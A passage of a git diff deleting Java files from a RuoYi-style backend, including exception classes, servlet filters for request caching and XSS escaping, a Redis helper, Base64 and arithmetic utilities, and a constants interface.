b/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/UserException.java deleted file mode 100644 index aa015f8..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/UserException.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.ruoyi.common.exception.user; - -import com.ruoyi.common.exception.BaseException; - -/** - * 用户信息异常类 - * - * @author ruoyi - */ -public class UserException extends BaseException -{ - private static final long serialVersionUID = 1L; - - public UserException(String code, Object[] args) - { - super("user", code, args, null); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/UserPasswordNotMatchException.java b/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/UserPasswordNotMatchException.java deleted file mode 100644 index a7f3e5f..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/exception/user/UserPasswordNotMatchException.java +++ /dev/null @@ -1,16 +0,0 @@ -package com.ruoyi.common.exception.user; - -/** - * 用户密码不正确或不符合规范异常类 - * - * @author ruoyi - */ -public class UserPasswordNotMatchException extends UserException -{ - private static final long serialVersionUID = 1L; - - public UserPasswordNotMatchException() - { - super("user.password.not.match", null); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/filter/RepeatableFilter.java b/ruoyi-common/src/main/java/com/ruoyi/common/filter/RepeatableFilter.java deleted file mode 100644 index a1bcfe2..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/filter/RepeatableFilter.java +++ /dev/null @@ -1,52 +0,0 @@ -package com.ruoyi.common.filter; - -import java.io.IOException; -import javax.servlet.Filter; -import javax.servlet.FilterChain; -import javax.servlet.FilterConfig; -import javax.servlet.ServletException; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; -import javax.servlet.http.HttpServletRequest; -import org.springframework.http.MediaType; -import com.ruoyi.common.utils.StringUtils; - -/** - * Repeatable 过滤器 - * - * @author ruoyi - */ -public class RepeatableFilter implements Filter -{ - @Override - public void init(FilterConfig filterConfig) throws ServletException - { - - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) - throws IOException, ServletException - { - ServletRequest requestWrapper = null; - if (request instanceof HttpServletRequest - && StringUtils.startsWithIgnoreCase(request.getContentType(), MediaType.APPLICATION_JSON_VALUE)) - { - requestWrapper = new RepeatedlyRequestWrapper((HttpServletRequest) request, response); - } - if (null == requestWrapper) - { - chain.doFilter(request, response); - } - else - { - chain.doFilter(requestWrapper, response); - } - } - - @Override - public void destroy() - { - - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/filter/RepeatedlyRequestWrapper.java b/ruoyi-common/src/main/java/com/ruoyi/common/filter/RepeatedlyRequestWrapper.java deleted file mode 100644 index 0c524c2..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/filter/RepeatedlyRequestWrapper.java +++ /dev/null @@ -1,81 +0,0 @@ -package com.ruoyi.common.filter; - -import java.io.BufferedReader; -import java.io.ByteArrayInputStream; -import java.io.IOException; -import java.io.InputStreamReader; -import java.nio.charset.StandardCharsets; -import javax.servlet.ReadListener; -import javax.servlet.ServletInputStream; -import javax.servlet.ServletResponse; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletRequestWrapper; -import org.apache.commons.io.IOUtils; - -/** - * 构建可重复读取inputStream的request - * - * @author ruoyi - */ -public class RepeatedlyRequestWrapper extends HttpServletRequestWrapper -{ - private final byte[] body; - - public RepeatedlyRequestWrapper(HttpServletRequest request, ServletResponse response) throws IOException - { - super(request); - request.setCharacterEncoding("UTF-8"); - response.setCharacterEncoding("UTF-8"); - - // 必须缓存原始字节。按行读取再拼接会删除LF/CRLF,导致租赁HMAC验签失败; - // 解码再编码也可能改变非法UTF-8,掩盖接口自身对编码的校验。 - try (java.io.InputStream input = request.getInputStream()) - { - body = IOUtils.toByteArray(input); - } - } - - @Override - public BufferedReader getReader() throws IOException - { - return new BufferedReader(new InputStreamReader(getInputStream(), StandardCharsets.UTF_8)); - } - - @Override - public ServletInputStream getInputStream() throws IOException - { - final ByteArrayInputStream bais = new ByteArrayInputStream(body); - return new ServletInputStream() - { - @Override - public int read() throws IOException - { - return bais.read(); - } - - @Override - public int available() throws IOException - { - return bais.available(); - } - - @Override - public boolean isFinished() - { - return bais.available() == 0; - } - - @Override - public boolean isReady() - { - return true; - } - - @Override - public void setReadListener(ReadListener readListener) - { - - } - }; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssFilter.java b/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssFilter.java deleted file mode 100644 index b3df122..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssFilter.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.ruoyi.common.filter; - -import java.io.IOException; -import java.util.ArrayList; -import java.util.List; -import java.util.regex.Matcher; -import java.util.regex.Pattern; -import javax.servlet.Filter; -import javax.servlet.FilterChain; -import javax.servlet.FilterConfig; -import javax.servlet.ServletException; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import com.ruoyi.common.utils.StringUtils; - -/** - * 防止XSS攻击的过滤器 - * - * @author ruoyi - */ -public class XssFilter implements Filter -{ - /** - * 排除链接 - */ - public List excludes = new ArrayList<>(); - - /** - * xss过滤开关 - */ - public boolean enabled = false; - - @Override - public void init(FilterConfig filterConfig) throws ServletException - { - String tempExcludes = filterConfig.getInitParameter("excludes"); - String tempEnabled = filterConfig.getInitParameter("enabled"); - if (StringUtils.isNotEmpty(tempExcludes)) - { - String[] url = tempExcludes.split(","); - for (int i = 0; url != null && i < url.length; i++) - { - excludes.add(url[i]); - } - } - if (StringUtils.isNotEmpty(tempEnabled)) - { - enabled = Boolean.valueOf(tempEnabled); - } - } - - @Override - public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) - throws IOException, ServletException - { - HttpServletRequest req = (HttpServletRequest) request; - HttpServletResponse resp = (HttpServletResponse) response; - if (handleExcludeURL(req, resp)) - { - chain.doFilter(request, response); - return; - } - XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request); - chain.doFilter(xssRequest, response); - } - - private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response) - { - if (!enabled) - { - return true; - } - if (excludes == null || excludes.isEmpty()) - { - return false; - } - String url = request.getServletPath(); - for (String pattern : excludes) - { - Pattern p = Pattern.compile("^" + pattern); - Matcher m = p.matcher(url); - if (m.find()) - { - return true; - } - } - return false; - } - - @Override - public void destroy() - { - - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssHttpServletRequestWrapper.java b/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssHttpServletRequestWrapper.java deleted file mode 100644 index 3c9efb2..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/filter/XssHttpServletRequestWrapper.java +++ /dev/null @@ -1,104 +0,0 @@ -package com.ruoyi.common.filter; - -import java.io.ByteArrayInputStream; -import java.io.IOException; -import javax.servlet.ReadListener; -import javax.servlet.ServletInputStream; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletRequestWrapper; -import org.apache.commons.io.IOUtils; -import org.springframework.http.HttpHeaders; -import org.springframework.http.MediaType; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.html.EscapeUtil; - -/** - * XSS过滤处理 - * - * @author ruoyi - */ -public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper -{ - /** - * @param request - */ - public XssHttpServletRequestWrapper(HttpServletRequest request) - { - super(request); - } - - @Override - public String[] getParameterValues(String name) - { - String[] values = super.getParameterValues(name); - if (values != null) - { - int length = values.length; - String[] escapseValues = new String[length]; - for (int i = 0; i < length; i++) - { - // 防xss攻击和过滤前后空格 - escapseValues[i] = EscapeUtil.clean(values[i]).trim(); - } - return escapseValues; - } - return super.getParameterValues(name); - } - - @Override - public ServletInputStream getInputStream() throws IOException - { - // 非json类型,直接返回 - if (!isJsonRequest()) - { - return super.getInputStream(); - } - - // 为空,直接返回 - String json = IOUtils.toString(super.getInputStream(), "utf-8"); - if (StringUtils.isEmpty(json)) - { - return super.getInputStream(); - } - - // xss过滤 - json = EscapeUtil.clean(json).trim(); - final ByteArrayInputStream bis = new ByteArrayInputStream(json.getBytes("utf-8")); - return new ServletInputStream() - { - @Override - public boolean isFinished() - { - return true; - } - - @Override - public boolean isReady() - { - return true; - } - - @Override - public void setReadListener(ReadListener readListener) - { - } - - @Override - public int read() throws IOException - { - return bis.read(); - } - }; - } - - /** - * 是否是Json请求 - * - * @param request - */ - public boolean isJsonRequest() - { - String header = super.getHeader(HttpHeaders.CONTENT_TYPE); - return MediaType.APPLICATION_JSON_VALUE.equalsIgnoreCase(header); - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/redis/RedisUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/redis/RedisUtil.java deleted file mode 100644 index 94f27e2..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/redis/RedisUtil.java +++ /dev/null @@ -1,352 +0,0 @@ -package com.ruoyi.common.redis; - -import com.alibaba.fastjson.JSONArray; -import com.alibaba.fastjson.JSONObject; -import com.ruoyi.common.utils.StringUtils; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.dao.DataAccessException; -import org.springframework.data.redis.connection.RedisConnection; -import org.springframework.data.redis.connection.StringRedisConnection; -import org.springframework.data.redis.core.RedisCallback; -import org.springframework.data.redis.core.StringRedisTemplate; -import org.springframework.data.redis.support.atomic.RedisAtomicLong; -import org.springframework.stereotype.Component; - -import java.util.*; -import java.util.concurrent.TimeUnit; - -/** - * 手动添加缓存和移除缓存 - */ -@Component -public class RedisUtil { - @Autowired - protected StringRedisTemplate redis; - - public void setCacheObj(String value, String key, Object data) { - String storeKey = value + ":" + key; - redis.opsForValue().set(storeKey, JSONObject.toJSONString(data)); - } - - public void zadd(String key, String value, double score) { - redis.opsForZSet().add(key, value, score); - } - - public Set rangeByScore(String key, double min, double max) { - Set set = redis.opsForZSet().rangeByScore(key, min, max); - return set; - } - - public Long removeRangeByScore(String key, double min, double max) { - Long result = redis.opsForZSet().removeRangeByScore(key, min, max); - return result; - } - - public void set(String value, String key, String data) { - String storeKey = value + ":" + key; - redis.opsForValue().set(storeKey, data); - } - public void set( String key, String data) { - redis.opsForValue().set(key, data); - } - public void set( String key, String data, long timeout, TimeUnit unit) { - redis.opsForValue().set(key, data,timeout,unit); - } - public void setCacheObj(String value, String key, Object data, long timeout, TimeUnit unit) { - String storeKey = value + ":" + key; - redis.opsForValue().set(storeKey, JSONObject.toJSONString(data), timeout, unit); - } - - public void set(String value, String key, String data, long timeout, TimeUnit unit) { - String storeKey = value + ":" + key; - redis.opsForValue().set(storeKey, data, timeout, unit); - } - - public T getCacheObj(String value, String key, Class tClass) { - String storeKey = value + ":" + key; - String result = redis.opsForValue().get(storeKey); - if (StringUtils.isBlank(result)) { - return null; - } - return JSONObject.parseObject(result, tClass); - } - - public T getCacheObj(String key, Class tClass) { - String result = redis.opsForValue().get(key); - if (StringUtils.isBlank(result)) { - return null; - } - return JSONObject.parseObject(result, tClass); - } - - public String get(String value, String key) { - String storeKey = value + ":" + key; - String result = redis.opsForValue().get(storeKey); - if (null == result) { - return null; - } - return result; - } - - public Map get(List keys) { - List redisResult = this.redis.executePipelined(new RedisCallback() { - public String doInRedis(RedisConnection redisConnection) - throws DataAccessException { - for (int i = 0; i < keys.size(); i++) { - StringRedisConnection stringRedisConnection = (StringRedisConnection) redisConnection; - stringRedisConnection.get(keys.get(i)); - } - return null; - } - }); - Map result = new HashMap(); - for (int i = 0; i < redisResult.size(); i++) { - if ((redisResult.get(i) == null)) { - result.put(keys.get(i), null); - } else { - result.put(keys.get(i), redisResult.get(i).toString()); - } - } - return result; - } - - public Map get(String value, List keys) { - List redisResult = this.redis.executePipelined(new RedisCallback() { - public String doInRedis(RedisConnection redisConnection) - throws DataAccessException { - for (int i = 0; i < keys.size(); i++) { - StringRedisConnection stringRedisConnection = (StringRedisConnection) redisConnection; - String storeKey = value + ":" + keys.get(i); - stringRedisConnection.get(storeKey); - } - return null; - } - }); - Map result = new HashMap(); - for (int i = 0; i < redisResult.size(); i++) { - if ((redisResult.get(i) == null)) { - result.put(keys.get(i), null); - } else { - result.put(keys.get(i), redisResult.get(i).toString()); - } - } - return result; - } - - public Map hasKey(String value, List keys) { - List redisResult = this.redis.executePipelined(new RedisCallback() { - public String doInRedis(RedisConnection redisConnection) - throws DataAccessException { - for (int i = 0; i < keys.size(); i++) { - StringRedisConnection stringRedisConnection = (StringRedisConnection) redisConnection; - String storeKey = value + ":" + keys.get(i); - stringRedisConnection.exists(storeKey); - } - return null; - } - }); - Map result = new HashMap(); - for (int i = 0; i < redisResult.size(); i++) { - Boolean b = null; - if ((redisResult.get(i) == null) || (!Boolean.parseBoolean(redisResult.get(i).toString()))) { - b = Boolean.valueOf(false); - } else { - b = Boolean.valueOf(true); - } - result.put(keys.get(i), b); - } - return result; - } - - public String get(String key) { - String result = redis.opsForValue().get(key); - return result; - } - - public Long decrement(String value, String key) { - String storeKey = value + ":" + key; - Long result = redis.opsForValue().decrement(storeKey); - return result; - } - - public Long decrement(String value, String key, long count) { - String storeKey = value + ":" + key; - Long result = redis.opsForValue().decrement(storeKey, count); - return result; - } - - /** - * 设置数组类型 缓存 - * - * @param value - * @param key - * @param data - * @param timeout - * @param unit - */ - public void setCacheArray(String value, String key, Object data, long timeout, TimeUnit unit) { - String storeKey = value + ":" + key; - redis.opsForValue().set(storeKey, JSONArray.toJSONString(data), timeout, unit); - } - public void setCacheArray(String key, Object data, long timeout, TimeUnit unit) { - redis.opsForValue().set(key, JSONArray.toJSONString(data), timeout, unit); - } - /** - * 设置数组类型 缓存 - * - * @param value - * @param key - * @param data - */ - public void setCacheArray(String value, String key, Object data) { - String storeKey = value + ":" + key; - redis.opsForValue().set(storeKey, JSONArray.toJSONString(data)); - } - public List getCacheArray(String key, Class tClass) { - String result = redis.opsForValue().get(key); - if (null == result) { - return null; - } - return JSONArray.parseArray(result, tClass); - } - public List getCacheArray(String value, String key, Class tClass) { - String storeKey = value + ":" + key; - String result = redis.opsForValue().get(storeKey); - if (null == result) { - return null; - } - return JSONArray.parseArray(result, tClass); - } - public boolean hasKey( String key) { - Boolean result = redis.hasKey(key); - if (null == result) { - return false; - } else { - return result; - } - } - public boolean hasKey(String value, String key) { - String storeKey = value + ":" + key; - Boolean result = redis.hasKey(storeKey); - if (null == result) { - return false; - } else { - return result; - } - } - - public void deleteByPre(String value) { - String storeKey = value; - Set set = redis.keys(storeKey + "*"); - redis.delete(set); - } - - public Set getByPre(String value) { - String storeKey = value; - Set set = redis.keys(storeKey + "*"); - return set; - } - - public void zadd(String key, String value, Integer score) { - redis.opsForZSet().add(key, value, score); - } - - public void leftPush(String key, String value) { - redis.opsForList().leftPush(key, value); - } - - public List leftPush(final String key, final List values) { - List redisResult = this.redis.executePipelined(new RedisCallback() { - public String doInRedis(RedisConnection redisConnection) - throws DataAccessException { - for (int i = 0; i < values.size(); i++) { - StringRedisConnection stringRedisConnection = (StringRedisConnection) redisConnection; - stringRedisConnection.lPush(key, values.get(i)); - } - return null; - } - }); - return redisResult; - } - - public String leftPop(String key) { - return redis.opsForList().leftPop(key); - } - - public List leftPop(final String key, long length) { - Long size = redis.opsForList().size(key); - if (length > size) { - length = size; - } - final long l = length; - List redisResult = this.redis.executePipelined(new RedisCallback() { - public String doInRedis(RedisConnection redisConnection) - throws DataAccessException { - for (int i = 0; i < l; i++) { - StringRedisConnection stringRedisConnection = (StringRedisConnection) redisConnection; - stringRedisConnection.lPop(key); - } - return null; - } - }); - List result = new ArrayList<>(); - for (int i = 0; i < redisResult.size(); i++) { - Object val = redisResult.get(i); - if (val == null) { - continue; - } - result.add(val.toString()); - } - return result; - } - - public Map hasKey(final List keys) { - List redisResult = this.redis.executePipelined(new RedisCallback() { - public String doInRedis(RedisConnection redisConnection) - throws DataAccessException { - for (String e : keys) { - StringRedisConnection stringRedisConnection = (StringRedisConnection) redisConnection; - stringRedisConnection.exists(e); - } - return null; - } - }); - Map result = new HashMap(); - for (int i = 0; i < redisResult.size(); i++) { - Boolean b = null; - if ((redisResult.get(i) == null) || (!Boolean.parseBoolean(redisResult.get(i).toString()))) { - b = Boolean.valueOf(false); - } else { - b = Boolean.valueOf(true); - } - result.put(keys.get(i), b); - } - return result; - } - - /** - * @param key key - * @return - * @Description: 获取自增长值 - */ - public Long getIncr(String key) { - RedisAtomicLong entityIdCounter = new RedisAtomicLong(key, redis.getConnectionFactory()); - Long increment = entityIdCounter.getAndIncrement(); - return increment; - } - - /** - * @param key key - * @param value 当前值 - * @Description: 初始化自增长值 - */ - public void setIncr(String key, int value) { - RedisAtomicLong counter = new RedisAtomicLong(key, redis.getConnectionFactory()); - counter.set(value); - } - - public void delete(String value, String key) { - String storeKey = value + ":" + key; - redis.delete(storeKey); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/select/Ids.java b/ruoyi-common/src/main/java/com/ruoyi/common/select/Ids.java deleted file mode 100644 index e3335a3..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/select/Ids.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.ruoyi.common.select; - -import lombok.Data; - -import java.io.Serializable; -import java.util.List; -import java.util.stream.Collectors; - -@Data -public class Ids implements Serializable { - private List ids; - public List getLongIds(){ - return ids.stream().map(Long::parseLong).collect(Collectors.toList()); - } - public List getIntegerIds(){ - return ids.stream().map(Integer::parseInt).collect(Collectors.toList()); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/select/SelectItem.java b/ruoyi-common/src/main/java/com/ruoyi/common/select/SelectItem.java deleted file mode 100644 index 554ec55..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/select/SelectItem.java +++ /dev/null @@ -1,11 +0,0 @@ -package com.ruoyi.common.select; - -import lombok.Data; - -import java.io.Serializable; - -@Data -public class SelectItem implements Serializable { - private Long id; - private String name; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/Arith.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Arith.java deleted file mode 100644 index 48a650e..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/Arith.java +++ /dev/null @@ -1,114 +0,0 @@ -package com.ruoyi.common.utils; - -import java.math.BigDecimal; -import java.math.RoundingMode; - -/** - * 精确的浮点数运算 - * - * @author ruoyi - */ -public class Arith -{ - - /** 默认除法运算精度 */ - private static final int DEF_DIV_SCALE = 10; - - /** 这个类不能实例化 */ - private Arith() - { - } - - /** - * 提供精确的加法运算。 - * @param v1 被加数 - * @param v2 加数 - * @return 两个参数的和 - */ - public static double add(double v1, double v2) - { - BigDecimal b1 = new BigDecimal(Double.toString(v1)); - BigDecimal b2 = new BigDecimal(Double.toString(v2)); - return b1.add(b2).doubleValue(); - } - - /** - * 提供精确的减法运算。 - * @param v1 被减数 - * @param v2 减数 - * @return 两个参数的差 - */ - public static double sub(double v1, double v2) - { - BigDecimal b1 = new BigDecimal(Double.toString(v1)); - BigDecimal b2 = new BigDecimal(Double.toString(v2)); - return b1.subtract(b2).doubleValue(); - } - - /** - * 提供精确的乘法运算。 - * @param v1 被乘数 - * @param v2 乘数 - * @return 两个参数的积 - */ - public static double mul(double v1, double v2) - { - BigDecimal b1 = new BigDecimal(Double.toString(v1)); - BigDecimal b2 = new BigDecimal(Double.toString(v2)); - return b1.multiply(b2).doubleValue(); - } - - /** - * 提供(相对)精确的除法运算,当发生除不尽的情况时,精确到 - * 小数点以后10位,以后的数字四舍五入。 - * @param v1 被除数 - * @param v2 除数 - * @return 两个参数的商 - */ - public static double div(double v1, double v2) - { - return div(v1, v2, DEF_DIV_SCALE); - } - - /** - * 提供(相对)精确的除法运算。当发生除不尽的情况时,由scale参数指 - * 定精度,以后的数字四舍五入。 - * @param v1 被除数 - * @param v2 除数 - * @param scale 表示表示需要精确到小数点以后几位。 - * @return 两个参数的商 - */ - public static double div(double v1, double v2, int scale) - { - if (scale < 0) - { - throw new IllegalArgumentException( - "The scale must be a positive integer or zero"); - } - BigDecimal b1 = new BigDecimal(Double.toString(v1)); - BigDecimal b2 = new BigDecimal(Double.toString(v2)); - if (b1.compareTo(BigDecimal.ZERO) == 0) - { - return BigDecimal.ZERO.doubleValue(); - } - return b1.divide(b2, scale, RoundingMode.HALF_UP).doubleValue(); - } - - /** - * 提供精确的小数位四舍五入处理。 - * @param v 需要四舍五入的数字 - * @param scale 小数点后保留几位 - * @return 四舍五入后的结果 - */ - public static double round(double v, int scale) - { - if (scale < 0) - { - throw new IllegalArgumentException( - "The scale must be a positive integer or zero"); - } - BigDecimal b = new BigDecimal(Double.toString(v)); - BigDecimal one = new BigDecimal("1"); - return b.divide(one, scale, RoundingMode.HALF_UP).doubleValue(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/Base64Util.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Base64Util.java deleted file mode 100644 index d49399c..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/Base64Util.java +++ /dev/null @@ -1,61 +0,0 @@ -package com.ruoyi.common.utils; -import javax.imageio.ImageIO; -import java.awt.image.BufferedImage; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.FileOutputStream; -import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.Base64; - -/** - * Created by yihui on 2017/7/17. - */ -public class Base64Util { - - public static String encode(BufferedImage bufferedImage, String imgType) throws IOException { - ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - ImageIO.write(bufferedImage, imgType, outputStream); - return encode(outputStream); - } - - public static String imageToBase64(String imagePath) { - try { - byte[] imageBytes = Files.readAllBytes(Paths.get(imagePath)); - return Base64.getEncoder().encodeToString(imageBytes); - }catch (Exception e){ - e.printStackTrace(); - return ""; - } - } - public static String encode(ByteArrayOutputStream outputStream) { - return Base64.getEncoder().encodeToString(outputStream.toByteArray()); - } - - /** - * base64转图片并保存到本地 - * - * @param base64 base64字符串 - * @param imagePath 保存路径,例如 D:/test/output.png - */ - public static void base64ToImage(String base64, String imagePath) { - // 去掉 data:image/png;base64, 这种前缀 - try { - if (base64.contains(",")) { - base64 = base64.substring(base64.indexOf(",") + 1); - } - byte[] imageBytes = Base64.getDecoder().decode(base64); - try (FileOutputStream fos = new FileOutputStream(imagePath)) { - fos.write(imageBytes); - } - }catch (Exception e){ - e.printStackTrace(); - } - } - public static BufferedImage decode2Img(String base64) throws IOException { - byte[] bytes = Base64.getDecoder().decode(base64.getBytes("utf-8")); - ByteArrayInputStream inputStream = new ByteArrayInputStream(bytes); - return ImageIO.read(inputStream); - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/CommonConstant.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/CommonConstant.java deleted file mode 100644 index f2abbcd..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/CommonConstant.java +++ /dev/null @@ -1,267 +0,0 @@ -package com.ruoyi.common.utils; - -public interface CommonConstant { - - /** - * 正常状态 - */ - public static final Integer STATUS_NORMAL = 0; - - /** - * 禁用状态 - */ - public static final Integer STATUS_DISABLE = -1; - - /** - * 删除标志 - */ - public static final Integer DEL_FLAG_1 = 1; - - /** - * 未删除 - */ - public static final Integer DEL_FLAG_0 = 0; - - /** - * 系统日志类型: 登录 - */ - public static final int LOG_TYPE_1 = 1; - - /** - * 系统日志类型: 操作 - */ - public static final int LOG_TYPE_2 = 2; - - /** - * 操作日志类型: 查询 - */ - public static final int OPERATE_TYPE_1 = 1; - - /** - * 操作日志类型: 添加 - */ - public static final int OPERATE_TYPE_2 = 2; - - /** - * 操作日志类型: 更新 - */ - public static final int OPERATE_TYPE_3 = 3; - - /** - * 操作日志类型: 删除 - */ - public static final int OPERATE_TYPE_4 = 4; - - /** - * 操作日志类型: 倒入 - */ - public static final int OPERATE_TYPE_5 = 5; - - /** - * 操作日志类型: 导出 - */ - public static final int OPERATE_TYPE_6 = 6; - - - /** {@code 500 Server Error} (HTTP/1.0 - RFC 1945) */ - public static final Integer SC_INTERNAL_SERVER_ERROR_500 = 500; - /** {@code 200 OK} (HTTP/1.0 - RFC 1945) */ - public static final Integer SC_OK_200 = 200; - - /**访问权限认证未通过 510*/ - public static final Integer SC_JEECG_NO_AUTHZ=510; - - /** 登录用户Shiro权限缓存KEY前缀 */ - public static String PREFIX_USER_SHIRO_CACHE = "shiro:cache:org.code.modules.shiro.authc.ShiroRealm.authorizationCache:"; - /** 登录用户Token令牌缓存KEY前缀 */ - public static final String PREFIX_USER_TOKEN = "prefix_user_token_"; - /** Token缓存时间:3600秒即一小时 */ - public static final int TOKEN_EXPIRE_TIME = 3600; - - - /** - * 0:一级菜单 - */ - public static final Integer MENU_TYPE_0 = 0; - /** - * 1:子菜单 - */ - public static final Integer MENU_TYPE_1 = 1; - /** - * 2:按钮权限 - */ - public static final Integer MENU_TYPE_2 = 2; - - /**通告对象类型(USER:指定用户,ALL:全体用户)*/ - public static final String MSG_TYPE_UESR = "USER"; - public static final String MSG_TYPE_ALL = "ALL"; - - /**发布状态(0未发布,1已发布,2已撤销)*/ - public static final String NO_SEND = "0"; - public static final String HAS_SEND = "1"; - public static final String HAS_CANCLE = "2"; - - /**阅读状态(0未读,1已读)*/ - public static final String HAS_READ_FLAG = "1"; - public static final String NO_READ_FLAG = "0"; - - /**优先级(L低,M中,H高)*/ - public static final String PRIORITY_L = "L"; - public static final String PRIORITY_M = "M"; - public static final String PRIORITY_H = "H"; - - /** - * 短信模板方式 0 .登录模板、1.注册模板、2.忘记密码模板 - */ - public static final String SMS_TPL_TYPE_0 = "0"; - public static final String SMS_TPL_TYPE_1 = "1"; - public static final String SMS_TPL_TYPE_2 = "2"; - - /** - * 状态(0无效1有效) - */ - public static final String STATUS_0 = "0"; - public static final String STATUS_1 = "1"; - - /** - * 同步工作流引擎1同步0不同步 - */ - public static final Integer ACT_SYNC_1 = 1; - public static final Integer ACT_SYNC_0 = 0; - - /** - * 消息类型1:通知公告2:系统消息 - */ - public static final String MSG_CATEGORY_1 = "1"; - public static final String MSG_CATEGORY_2 = "2"; - - /** - * 是否配置菜单的数据权限 1是0否 - */ - public static final Integer RULE_FLAG_0 = 0; - public static final Integer RULE_FLAG_1 = 1; - - /** - * 是否用户已被冻结 1正常(解冻) 2冻结 - */ - public static final Integer USER_UNFREEZE = 1; - public static final Integer USER_FREEZE = 2; - - /**字典翻译文本后缀*/ - public static final String DICT_TEXT_SUFFIX = "_dictText"; - - /** - * 表单设计器主表类型 - */ - public static final Integer DESIGN_FORM_TYPE_MAIN = 1; - - /** - * 表单设计器子表表类型 - */ - public static final Integer DESIGN_FORM_TYPE_SUB = 2; - - /** - * 表单设计器URL授权通过 - */ - public static final Integer DESIGN_FORM_URL_STATUS_PASSED = 1; - - /** - * 表单设计器URL授权未通过 - */ - public static final Integer DESIGN_FORM_URL_STATUS_NOT_PASSED = 2; - - /** - * 表单设计器新增 Flag - */ - public static final String DESIGN_FORM_URL_TYPE_ADD = "add"; - /** - * 表单设计器修改 Flag - */ - public static final String DESIGN_FORM_URL_TYPE_EDIT = "edit"; - /** - * 表单设计器详情 Flag - */ - public static final String DESIGN_FORM_URL_TYPE_DETAIL = "detail"; - /** - * 表单设计器复用数据 Flag - */ - public static final String DESIGN_FORM_URL_TYPE_REUSE = "reuse"; - /** - * 表单设计器编辑 Flag (已弃用) - */ - public static final String DESIGN_FORM_URL_TYPE_VIEW = "view"; - - /** - * online参数值设置(是:Y, 否:N) - */ - public static final String ONLINE_PARAM_VAL_IS_TURE = "Y"; - public static final String ONLINE_PARAM_VAL_IS_FALSE = "N"; - - /** - * 文件上传类型(本地:local,Minio:minio,阿里云:alioss) - */ - public static final String UPLOAD_TYPE_LOCAL = "local"; - public static final String UPLOAD_TYPE_MINIO = "minio"; - public static final String UPLOAD_TYPE_OSS = "alioss"; - - public static final String UPLOAD_TYPE_QINIU_OSS = "qiniu"; - - /** - * 文档上传自定义桶名称 - */ - public static final String UPLOAD_CUSTOM_BUCKET = "eoafile"; - /** - * 文档上传自定义路径 - */ - public static final String UPLOAD_CUSTOM_PATH = "eoafile"; - /** - * 文件外链接有效天数 - */ - public static final Integer UPLOAD_EFFECTIVE_DAYS = 1; - - /** - * 员工身份 (1:普通员工 2:上级) - */ - public static final Integer USER_IDENTITY_1 = 1; - public static final Integer USER_IDENTITY_2 = 2; - - /** sys_user 表 username 唯一键索引 */ - public static final String SQL_INDEX_UNIQ_SYS_USER_USERNAME = "uniq_sys_user_username"; - /** sys_user 表 work_no 唯一键索引 */ - public static final String SQL_INDEX_UNIQ_SYS_USER_WORK_NO = "uniq_sys_user_work_no"; - /** sys_user 表 phone 唯一键索引 */ - public static final String SQL_INDEX_UNIQ_SYS_USER_PHONE = "uniq_sys_user_phone"; - /** sys_user 表 email 唯一键索引 */ - public static final String SQL_INDEX_UNIQ_SYS_USER_EMAIL = "uniq_sys_user_email"; - /** sys_quartz_job 表 job_class_name 唯一键索引 */ - public static final String SQL_INDEX_UNIQ_JOB_CLASS_NAME = "uniq_job_class_name"; - /** sys_position 表 code 唯一键索引 */ - public static final String SQL_INDEX_UNIQ_CODE = "uniq_code"; - /** sys_role 表 code 唯一键索引 */ - public static final String SQL_INDEX_UNIQ_SYS_ROLE_CODE = "uniq_sys_role_role_code"; - /** sys_depart 表 code 唯一键索引 */ - public static final String SQL_INDEX_UNIQ_DEPART_ORG_CODE = "uniq_depart_org_code"; - /** - * 在线聊天 是否为默认分组 - */ - public 